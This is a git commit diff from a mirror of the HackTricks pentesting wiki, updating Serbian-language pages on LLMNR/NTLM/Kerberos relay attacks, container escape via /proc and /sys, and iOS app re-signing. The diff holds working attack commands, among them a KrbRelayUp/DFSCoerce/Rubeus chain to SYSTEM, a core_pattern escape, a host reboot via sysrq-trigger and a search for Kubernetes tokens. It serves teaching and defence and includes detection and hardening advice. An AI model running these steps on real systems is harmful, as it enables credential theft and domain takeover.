mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
c71f96bc49
commit
7b345c93e6
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD i Relay napadi
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,9 +7,9 @@
|
||||
### Protokoli za lokalno rešavanje hostova
|
||||
|
||||
- **LLMNR, NBT-NS i mDNS**:
|
||||
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično, Apple i Linux sistemi koriste mDNS.
|
||||
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
|
||||
- Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a.
|
||||
- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji upituju ove protokole.
|
||||
- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji postavljaju upite ovim protokolima.
|
||||
- Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći [ovde](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Protokol za automatsko otkrivanje web proxy-a (WPAD)
|
||||
@ -31,26 +31,26 @@
|
||||
- Da biste pokrenuli Responder sa podrazumevanim postavkama: `responder -I <Interface>`
|
||||
- Za agresivnije ispitivanje (sa potencijalnim nuspojavama): `responder -I <Interface> -P -r -v`
|
||||
- Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD impersonacija može se aktivirati sa: `responder -I <Interface> --wpad`
|
||||
- Impersonacija WPAD-a može se aktivirati sa: `responder -I <Interface> --wpad`
|
||||
- NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju: `responder.py -I <interface> -Pv`
|
||||
|
||||
### DHCP trovanje sa Responder-om
|
||||
|
||||
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacija žrtve, nudeći diskretniju alternativu ARP trovanju.
|
||||
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju.
|
||||
- Zahteva precizno poznavanje konfiguracije ciljne mreže.
|
||||
- Pokretanje napada: `./Responder.py -I eth0 -Pdv`
|
||||
- Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže.
|
||||
|
||||
### Hvatanje kredencijala sa Responder-om
|
||||
|
||||
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
|
||||
- Mogu se pokušati da se pređe na NetNTLMv1 ili onemogući ESS za lakše krakenje kredencijala.
|
||||
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 izazov/odgovor) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
|
||||
- Mogu se pokušati pokušaji da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala.
|
||||
|
||||
Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i napade "man-in-the-middle". Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh se može koristiti kroz PowerShell:
|
||||
```bash
|
||||
@ -69,7 +69,7 @@ Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omo
|
||||
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je dostupan lokalni administratorski pristup za učitavanje drajvera.
|
||||
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je lokalni administratorski pristup dostupan za učitavanje drajvera.
|
||||
|
||||
PortBender podešavanje i rad u Cobalt Strike:
|
||||
```bash
|
||||
@ -105,16 +105,119 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
Ovi alati i tehnike čine sveobuhvatan skup za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.
|
||||
Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.
|
||||
|
||||
### Prisiljavanje NTLM prijava
|
||||
|
||||
Na Windows-u **možete biti u mogućnosti da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako:
|
||||
Na Windows-u **možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Kerberos Relay napad
|
||||
|
||||
**Kerberos relay napad** krade **AP-REQ tiket** sa jedne usluge i ponovo ga koristi protiv druge usluge koja deli **isti ključ računa računara** (jer oba SPN-a sede na istom `$` računu mašine). Ovo funkcioniše iako se **klase usluga SPN-a razlikuju** (npr. `CIFS/` → `LDAP/`) jer je *ključ* koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa.
|
||||
|
||||
Za razliku od NTLM relay, skakanje je ograničeno na *istu host* ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u **Resource-Based Constrained Delegation (RBCD)** ili **AD CS upis** i pop **NT AUTHORITY\SYSTEM** u jednom potezu.
|
||||
|
||||
Za detaljne informacije o ovom napadu proverite:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Osnovi Kerberosa**
|
||||
|
||||
| Token | Svrha | Relevancija za relay |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Dokazuje korisnika KDC-u | netaknuto |
|
||||
| **Servisni tiket / TGS-REQ ↔ REP** | Povezan sa jednim **SPN**; enkriptovan ključem vlasnika SPN-a | zamenljivi ako SPN-ovi dele račun |
|
||||
| **AP-REQ** | Klijent šalje `TGS` usluzi | **ono što krademo i ponovo koristimo** |
|
||||
|
||||
* Tiketi su enkriptovani sa **ključem izvedenim iz lozinke računa koji poseduje SPN**.
|
||||
* **Authenticator** unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog prozora je validna dok keš usluge ne vidi duplikat.
|
||||
* Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za `CIFS/HOST` obično dobro dekriptuje na `LDAP/HOST`.
|
||||
|
||||
- 2. **Šta mora biti tačno da bi se relayed Kerberos**
|
||||
|
||||
1. **Zajednički ključ:** izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima).
|
||||
2. **Bez zaštite kanala:** SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS.
|
||||
3. **Možete presresti ili primorati autentifikaciju:** LLMNR/NBNS otrov, DNS spoof, **PetitPotam / DFSCoerce RPC**, lažni AuthIP, rogue DCOM, itd.
|
||||
4. **Izvor tiketa nije već korišćen:** pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače keš ponovne upotrebe servera aktivira Događaj 4649.
|
||||
5. Na neki način morate biti u mogućnosti da izvršite **MitM u komunikaciji**, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve.
|
||||
|
||||
### Koraci Kerberos Relay
|
||||
|
||||
- 3.1 **Recon host**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **Pokrenite relays slušalac**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` obavija **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** u jednoj binarnoj datoteci.
|
||||
|
||||
- 3.3 **Prisiliti Kerberos autentifikaciju**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce čini da DC pošalje Kerberos `CIFS/DC01` tiket nama.
|
||||
|
||||
- 3.4 **Preusmeri AP-REQ**
|
||||
|
||||
KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga `ldap://DC01`—autentifikacija uspeva jer **isti ključ** dešifruje.
|
||||
|
||||
- 3.5 **Zloupotreba LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
Sada posedujete **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
### **Još puteva koje vredi znati**
|
||||
|
||||
| Vektor | Trik | Zašto je to važno |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Lažni server šalje **GSS-ID payload** sa bilo kojim SPN; klijent gradi AP-REQ direktno ka vama | Radi čak i preko podmreža; mašinske kredencijale po defaultu |
|
||||
| **DCOM / MSRPC** | Zlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i port | Čista *lokalna* privilegija-eskalacija; zaobilazi firewall |
|
||||
| **AD CS Web Enroll** | Preusmerite mašinski tiket na `HTTP/CA` i dobijte sertifikat, zatim **PKINIT** za kreiranje TGT-ova | Zaobilazi LDAP potpisne odbrane |
|
||||
| **Shadow Credentials** | Napišite `msDS-KeyCredentialLink`, zatim PKINIT sa lažnim parom ključeva | Nema potrebe za dodavanjem računa računara |
|
||||
|
||||
### **Rešavanje problema**
|
||||
|
||||
| Greška | Značenje | Rešenje |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Ključ tiketa ≠ ključ cilja | Pogrešan host/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Sat > 5 min razlike | Sinhronizujte vreme ili koristite `w32tm` |
|
||||
| LDAP vezivanje ne uspeva | Potpisivanje je primenjeno | Koristite AD CS putanju ili onemogućite potpisivanje |
|
||||
| Spam događaja 4649 | Usluga je videla duplikat autentifikatora | blokirajte ili trkajte originalni paket |
|
||||
|
||||
### **Detekcija**
|
||||
|
||||
* Porast u **Događaju 4769** za `CIFS/`, `HTTP/`, `LDAP/` iz istog izvora u roku od nekoliko sekundi.
|
||||
* **Događaj 4649** na usluzi ukazuje na detektovanu reprodukciju.
|
||||
* Kerberos prijava sa **127.0.0.1** (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima.
|
||||
* Pratite promene na atributima `msDS-AllowedToActOnBehalfOfOtherIdentity` ili `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Ojačavanje**
|
||||
|
||||
1. **Primorajte LDAP & SMB potpisivanje + EPA** na svakom serveru.
|
||||
2. **Podelite SPN-ove** tako da HTTP nije na istom računu kao CIFS/LDAP.
|
||||
3. Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Postavite **`ms-DS-MachineAccountQuota = 0`** da zaustavite neovlašćena pridruživanja računara.
|
||||
5. Upozorite na **Događaj 4649** i neočekivane loopback Kerberos prijave.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
|
@ -15,50 +15,62 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Omogućava definisanje programa koji će se izvršiti prilikom generisanja core datoteke sa prvih 128 bajtova kao argumentima. Ovo može dovesti do izvršavanja koda ako datoteka počinje sa cevom `|`.
|
||||
- **Primer testiranja i eksploatacije**:
|
||||
- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara.
|
||||
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
|
||||
|
||||
- **Primer testiranja i eksploatacije**:
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Proverite [ovaj post](https://pwning.systems/posts/escaping-containers-for-fun/) za više informacija.
|
||||
|
||||
Primer programa koji se ruši:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Detaljno opisano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Detaljno u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Sadrži putanju do učitača kernel modula, koji se poziva za učitavanje kernel modula.
|
||||
- **Primer provere pristupa**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe
|
||||
```
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Pomenuto u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Referencirano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalna zastavica koja kontroliše da li kernel panici ili poziva OOM killer kada dođe do OOM uslova.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o datotečnom sistemu.
|
||||
- Pristup za pisanje može omogućiti različite napade uskraćivanja usluge protiv hosta.
|
||||
- Pristup za pisanje može omogućiti razne napade uskraćivanja usluge protiv hosta.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Omogućava registraciju interpretatora za nenativne binarne formate na osnovu njihovog magičnog broja.
|
||||
- Omogućava registraciju interpretera za nenativne binarne formate na osnovu njihovog magičnog broja.
|
||||
- Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je `/proc/sys/fs/binfmt_misc/register` zapisiv.
|
||||
- Relevantna eksploatacija i objašnjenje:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Detaljan tutorijal: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Others in `/proc`
|
||||
### Ostalo u `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- Može otkriti konfiguraciju kernela ako je `CONFIG_IKCONFIG_PROC` omogućeno.
|
||||
- Korisno za napadače da identifikuju ranjivosti u pokrenutom kernelu.
|
||||
- Korisno za napadače da identifikuju ranjivosti u aktivnom kernelu.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
@ -66,19 +78,19 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
|
||||
- **Primer restartovanja hosta**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Reboots the host
|
||||
echo b > /proc/sysrq-trigger # Restartuje host
|
||||
```
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Izlaže poruke iz kernel ring bafera.
|
||||
- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive sistemske informacije.
|
||||
- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive informacije o sistemu.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Lista kernel izvezene simbole i njihove adrese.
|
||||
- Lista kernel eksportovane simbole i njihove adrese.
|
||||
- Osnovno za razvoj kernel eksploatacija, posebno za prevazilaženje KASLR-a.
|
||||
- Informacije o adresama su ograničene sa `kptr_restrict` postavljenim na `1` ili `2`.
|
||||
- Informacije o adresama su ograničene kada je `kptr_restrict` postavljen na `1` ili `2`.
|
||||
- Detalji u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
@ -111,10 +123,10 @@ echo b > /proc/sysrq-trigger # Reboots the host
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Pruža informacije o tačkama montiranja u prostoru imena montiranja procesa.
|
||||
- Izlaže lokaciju kontejnera `rootfs` ili slike.
|
||||
- Pruža informacije o tačkama montiranja u namespace-u montiranja procesa.
|
||||
- Izlaže lokaciju kontejnerskog `rootfs` ili slike.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### `/sys` Ranjivosti
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
@ -148,7 +160,7 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Curi kernel adrese, potencijalno ugrožavajući KASLR.
|
||||
- Curi adrese kernela, potencijalno kompromitujući KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
@ -158,20 +170,20 @@ cat /output %%%
|
||||
#### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Izlaže interfejse za interakciju sa EFI varijablama u NVRAM-u.
|
||||
- Pogrešna konfiguracija ili eksploatacija može dovesti do "brickovanja" laptopova ili nebootabilnih host mašina.
|
||||
- Pogrešna konfiguracija ili eksploatacija može dovesti do "brick"-ovanih laptopova ili nebootabilnih host mašina.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` nudi "bez pravila" debagiranje interfejsa za kernel.
|
||||
- Istorija bezbednosnih problema zbog svoje neograničene prirode.
|
||||
- `debugfs` nudi "bez pravila" interfejs za debagovanje kernela.
|
||||
- Istorija sigurnosnih problema zbog svoje neograničene prirode.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
### `/var` Ranjivosti
|
||||
|
||||
Hostova **/var** fascikla sadrži sokete kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje drugim datotečnim sistemima kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, izazivanje uskraćivanja usluge ili postavljanje backdoora u druge kontejnere i aplikacije koje se u njima izvršavaju.
|
||||
Hostova **/var** fascikla sadrži socket-e kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje do datotečnih sistema drugih kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, uzrokovanje uskraćivanja usluge ili postavljanje backdoor-a u druge kontejnere i aplikacije koje se u njima izvršavaju.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
Ako je ovakav kontejner raspoređen sa Kubernetes:
|
||||
Ako je kontejner poput ovog raspoređen sa Kubernetes:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@ -224,7 +236,7 @@ Takođe možete zameniti konfiguracione datoteke, binarne datoteke, servise, dat
|
||||
|
||||
##### Pristup cloud kredencijalima
|
||||
|
||||
Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloudu:
|
||||
Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloud:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
@ -253,8 +265,8 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
|
||||
```
|
||||
#### Napomena
|
||||
|
||||
Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje koristiti **find** komandu za
|
||||
lociranje datoteka drugih kontejnera i SA / web identitet tokena
|
||||
Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje da koristite **find** komandu da
|
||||
pronađete datoteke drugih kontejnera i SA / web identitet tokene.
|
||||
|
||||
### Reference
|
||||
|
||||
|
@ -0,0 +1,73 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Glavna ideja
|
||||
|
||||
Aplikacije potpisane sa **entitlement `get_task_allow`** omogućavaju trećim aplikacijama da pokrenu funkciju nazvanu **`task_for_pid()`** sa ID-jem procesa inicijalne aplikacije kao argumentom kako bi dobile port zadatka (da bi mogle da ga kontrolišu i pristupe njegovoj memoriji).
|
||||
|
||||
Međutim, nije tako lako kao samo preuzeti IPA, ponovo ga potpisati sa entitlement-om i vratiti ga na svoj uređaj. To je zbog FairPlay zaštite. Kada se potpis aplikacije promeni, DRM (Digital Rights Management) ključ je **nevažeći i aplikacija neće raditi**.
|
||||
|
||||
Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati ga koristeći svoj omiljeni alat** (kao što su Iridium ili frida-ios-dump), i preuzeti ga nazad sa uređaja. Ipak, ako je moguće, preporučuje se da jednostavno pitate klijenta za dekriptovani IPA.
|
||||
|
||||
## Dobijanje dekriptovanog IPA
|
||||
|
||||
### Preuzmite ga od Apple-a
|
||||
|
||||
1. Instalirajte aplikaciju koju želite da testirate na iPhone
|
||||
2. Instalirajte i pokrenite [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na svom macOS-u
|
||||
3. Otvorite `Terminal` na svom Mac-u, i idite u `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA će se kasnije pojaviti u ovoj fascikli.
|
||||
4. Trebalo bi da vidite svoj iOS uređaj. Dvaput kliknite na njega, a zatim kliknite na Dodaj + → Aplikacije iz gornjeg menija.
|
||||
5. Nakon što kliknete na Dodaj, Configurator će preuzeti IPA od Apple-a i pokušati da ga pošalje na vaš uređaj. Ako ste pratili moju preporuku ranije i već instalirali IPA, pojaviće se prozor koji vas pita da ponovo instalirate aplikaciju.
|
||||
6. IPA bi trebala biti preuzeta unutar `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` odakle je možete uzeti.
|
||||
|
||||
Proverite [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) za detaljnije informacije o ovom procesu.
|
||||
|
||||
### Dekriptovanje aplikacije
|
||||
|
||||
Da bismo dekriptovali IPA, instaliraćemo ga. Međutim, ako imate stariji jailbroken iPhone, potencijalno njegova verzija neće biti podržana od strane aplikacije, jer obično aplikacije podržavaju samo najnovije verzije.
|
||||
|
||||
Dakle, da biste ga instalirali, jednostavno raspakujte IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Proverite `Info.plist` za minimalnu podržanu verziju i ako je vaš uređaj stariji od toga, promenite vrednost tako da bude podržana.
|
||||
|
||||
Ponovo zipujte IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Zatim instalirajte IPA, na primer, sa:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Napomena da vam može biti potreban **AppSync Unified tweak** iz Cydie da biste sprečili bilo kakve `invalid signature` greške.
|
||||
|
||||
Kada se instalira, možete koristiti **Iridium tweak** iz Cydie kako biste dobili dekriptovani IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupno je nekoliko alata kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava vrlo lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
|
||||
|
||||
Što se tiče sertifikata i profila za potpisivanje, Apple nudi **besplatne profile za potpisivanje developera** za sve naloge putem Xcode-a. Samo kreirajte aplikaciju i konfigurišite jedan. Zatim, konfigurišite **iPhone da veruje aplikacijama developera** tako što ćete otići na `Settings` → `Privacy & Security`, i kliknite na `Developer Mode`.
|
||||
|
||||
|
||||
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestirali:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
Možete lako povezati svoju aplikaciju koristeći uobičajene alate kao što su frida i objection:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
